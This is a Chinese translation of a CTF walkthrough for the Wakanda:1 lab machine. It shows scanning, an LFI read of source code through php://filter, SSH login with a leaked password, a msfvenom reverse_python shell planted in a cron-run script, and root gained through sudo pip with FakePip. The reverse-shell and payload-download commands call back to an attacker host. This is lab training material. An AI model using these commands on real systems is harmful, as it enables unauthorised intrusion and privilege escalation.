本文翻译自:http://www.hackingarticles.in/hack-the-wakanda-1-ctf-challenge/
大家好,本文向大家介绍一个CTF挑战靶机Wakanda,下载地址在这里。该靶机难度适中,共有三个flag(flag1.txt,flag2.txt和root.txt)。
渗透测试方法如下
通关攻略
第一步是使用netdiscover工具进行网络扫描,找到我们要进行攻击的靶机IP地址。
netdiscover
找到靶机地址是192.168.1.124
下一步就是用nmap扫描靶机,使用如下命令:
nmap -p- -A 192.168.1.124
Nmap输出结果显示开放了4个端口:80(HTTP),111(RPC),333(SSH),48920(RPC)。
在浏览器中访问192.168.1.124这个IP地址,没有发现什么有用的信息。
既然如此,我们用dirb工具来进行目录遍历,命令如下:
dirb http://192.168.1.124
如图所示,我们扫出来了很多目录,有/admin和/backup等,不过大小却都是0,看来也是没有什么东西了。再来看看index页面的源码吧,说不定会有发现。果不其然,我们在页面注释中发现了“lang”这个参数。
我们在url中使用“lang”这个参数,传递的值是'fr',现页面内容被转换为了法语,如图:
现在我们来试试这个lang参数是否存在LFI漏洞,借助curl工具,使用php filter伪协议来读取index文件源码,命令如下:
curl http://192.168.1.124/?lang=php://filter/convert.base64-encode/resource=index
读取到的内容显而易见是经过base64编码的,我们对它解码一下得到原始文件内容,如图:
非常幸运,在这里我们看到了密码“Niamey4Ever227!!!”。仔细看的话,我们还发现作者是mamadou,这可能就是ssh登陆凭证,我们去登陆试试。
果然登陆成功了,而且得到了一个python命令提示符界面。这好办,我们import pty这个模块,然后使用spawn ‘/bin/bash’命令来进入系统的bash shell。我们来看下mamadou用户的家目录,发现flag1.txt就躺在那儿,读取便是,如图:
通过对目录进行遍历,在/tmp目录下有一个test文件,打开test文件,乍一看,没有什么东西。不过仔细点看,可以看到这个文件的属主是devops用户,这就为我们提供了一个新思路,我们来找找属主是devops用户的所有文件看看是否有突破,使用find命令,如下:
find / -user devops 2>/dev/null
我们在/srv目录下发现了一个特殊的文件‘.antivirus.py’,如图:
现在我们打开这个py文件,发现内容是打开/tmp目录下的test文件,然后往里写入“test”字符串。为了利用这个脚本,我们可以将这段内容替换为我们的shellcode。首先,我们需要生成一个msfvenom payload,命令如下;
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.134 lport=4444 R
生成payload后,我们打开刚才那个py文件,把里面的代码注释掉,然后插入我们的payload,复制的时候不要“python -c”,如图:
然后我们用nc设置好监听器,我们稍等片刻,等待脚本被执行。一旦脚本被执行,我们就获得了一个反向shell。我们查看一下UID,发现进入的是devops用户的shell。现在我们进入到devops用户的家目录,可以很轻易的读取到flag2.txt。
得到第二个flag后,我们来看看该用户能用sudo执行的命令,使用sudo -l来查看,发现我们即使不是root用户,也可以以超级用户(super user)的身份执行pip命令,如图:
这里就需要你的知识储备充足了,关于pip命令,有一个漏洞可以利用,GitHub上有一个利用脚本Fakepip,下载地址在这里。
我们把这个fakepip脚本下载下来
git clone https://github.com/0x00-0x00/FakePip.git
然后在本地对这个脚本进行编辑,这里需要修改的是os.system函数,这个函数里的内容是base64编码字符串,我们解码一下,可以得到一个IP地址,把IP地址替换成我们自己的IP地址,然后再用base64编码回去,并替换掉脚本中os.system函数中的字符串。
接着我们在本地用python开启HTTP服务,这样我们就能把fakepip这个脚本上传到靶机中。
python -m SimpleHTTPServer 80
启动HTTP服务之后,我们在靶机上使用wget命令来下载这个脚本,下载之后就根据readme文件的提示来执行命令
wget http://192.168.1.134/setup.py
sudo pip install . --upgrade --force-install
只要我们一执行命令,我们就获得了root用户的反向shell,现在我们可以切换到/root目录,并读取到root.txt中的flag了,如图所示:
好的,本次靶机到此结束,各位白帽子们可以下载靶机,一展身手。